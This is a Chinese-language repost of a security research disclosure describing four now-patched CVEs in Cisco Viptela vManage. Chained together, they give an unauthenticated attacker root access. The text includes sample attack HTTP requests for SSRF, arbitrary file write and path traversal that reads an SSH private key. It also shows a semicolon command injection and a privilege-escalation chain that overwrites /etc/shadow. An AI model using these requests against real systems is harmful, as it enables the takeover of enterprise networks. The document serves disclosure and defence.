Cisco vManage漏洞分析:从SSRF到Root权限的完整攻击链
SD-PWN第三部分:Cisco vManage——又一场网络接管
这是四篇系列文章的第三篇,前两部分请参阅:
本文继续我们的SD-WAN安全研究之旅。简单来说,我们在SD-WAN市场的四个主要产品中发现了关键的无认证RCE漏洞,这次我们将重点讨论Cisco Viptela vManage。
Cisco Viptela vManage
Cisco Viptela vManage是Cisco SD-WAN基础设施的核心组件,负责管理网络中的所有终端节点。由于SD-WAN设计的集中式特性,从安全角度来看vManage成为了单点故障。
通过串联4个不同的漏洞,我们能够在vManage机器上实现无认证的root权限RCE,这些机器通常部署在企业的云环境中。攻击者不需要任何先验配置知识即可利用这些漏洞。
如果您的组织使用Cisco的Viptela SD-WAN解决方案,请立即更新设备固件。最新固件已修复下文列出的所有问题。
技术细节
系统的初始攻击向量是运行在vManage机器443端口的Web管理服务器。该Web服务器使用JBoss框架运行Java小程序。Web管理界面的未认证攻击面在web.xml文件中定义,明确列出了所有可访问的URL路径。
SSRF + 任意文件写入 - CVE-2020-27128
在寻找可能的入口点时,我们注意到了/dataservice
端点。虽然不确定代码的确切意图,但我们推测不同端点通过dataservice URL共享数据和统计信息。
/dataservice/statistics/download/dr/filelist
处理器负责下载系统中两台机器间的统计信息。它接收相邻机器的IP地址和统计文件名并下载供后续使用。
该处理器完全没有进行用户输入验证,导致多个漏洞:首先,sourcevManageIp
参数可接受任何IP,导致SSRF攻击;其次,token
和fileType
参数中的目录遍历允许攻击者将数据下载到任意路径甚至覆盖现有文件。服务器以vmanage用户身份运行,允许覆盖多个有趣的文件。
此外,该处理器没有任何CSRF保护机制。
示例攻击请求:
POST /dataservice/statistics/download/dr/filelist HTTP/1.1
Host: 192.168.100.2:8443
Content-Length: 210
Origin: https://192.168.100.2:8443
Content-Type: application/json
{"queue":0, "fileType":"/../../../../../../../tmp/", "deviceIp":"", "sourcevManageIp":"1.2.3.4:12345", "fileList" : [{"file" : "droppeb.bin", "token":"../../../../../../../../../../../"}]}
未授权文件读取+目录遍历 - CVE-2020-26073
我们还发现了另一个有趣的处理器/dataservice/disasterrecovery/download/token/
。它接收一个参数——要读取的文件...同样没有用户输入验证,导致容易利用的目录遍历。攻击者可以读取vmanage用户可访问的任何文件。
示例攻击请求:
GET /dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fviptela%2F.ssh%2Fid_dsa HTTP/1.1
Host: 192.168.100.2:443
SSH密钥
/etc/viptela/.ssh/id_dsa
是SSH连接的私钥,vmanage用户可读。它允许攻击者以vmanage-admin身份通过SSH连接。
vmanage-admin的登录二进制文件是viptela_cli,与admin相同,但vmanage-admin无法访问常规CLI控制台。这是在viptela_cli的main函数中决定的,该函数验证用户名。否则,用户可以通过SSH连接发送单个命令,提供一定的攻击面。
viptela_cli中的命令注入 - CVE-2020-27129
使用上述SSH密钥登录后,viptela_cli解析用户提供的命令。通过SSH连接发送的任何命令在执行前都会经过验证。
通常只允许以scp -f
开头的命令。不幸的是,命令的其余部分没有进行清理,允许攻击者使用分号注入另一个命令。
示例攻击命令:
scp -f -h; touch /tmp/exploit;
使用busybox.suid进行特权提升 - CVE-2020-26074
在寻找系统中提升特权的不同选项时,我们注意到了一个特殊的suid文件——busybox.suid。文件系统中的SUID位会在每次执行时将二进制文件的权限提升为root。Busybox.suid允许以root身份运行多个busybox小程序。
一个有趣的小程序是tftp,它允许使用tftp协议向系统上传和下载文件。没有对目标路径进行验证,使恶意用户能够以root身份用任意数据覆盖任何文件。这实现了对系统的完全控制。
一个基本示例是用新的root密码覆盖/etc/shadow
文件,然后简单地运行su
命令获得root访问权限。
完整RCE攻击链
- 使用目录遍历漏洞读取vmanage-admin的私钥
- 通过SSH登录并注入运行特权提升的命令
- 使用busybox.suid的tftp小程序覆盖
/etc/shadow
- 运行
su
命令获得root权限执行
注意这只是利用这些漏洞的一种方式。可能会发现其他更简单的攻击链。
时间线
2020-07-31 — Realmode Labs向Cisco PSIRT发送初始报告
2020-07-31 — Cisco PSIRT确认报告,分配经理
2020-11-02 — Cisco PSIRT分配CVE编号,发布修复软件
2020-11-04 — 发布安全公告和CVE
2020-11-23 — 本报告发布
参考链接
- Bug 1 — SSRF + 任意文件写入 - CVE-2020-27128
- Bug 2 — 未授权文件读取+目录遍历 - CVE-2020-26073
- Bug 3 — viptela_cli中的命令注入 - CVE-2020-27129
- Bug 4 — 使用busybox.suid进行特权提升 - CVE-2020-26074
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码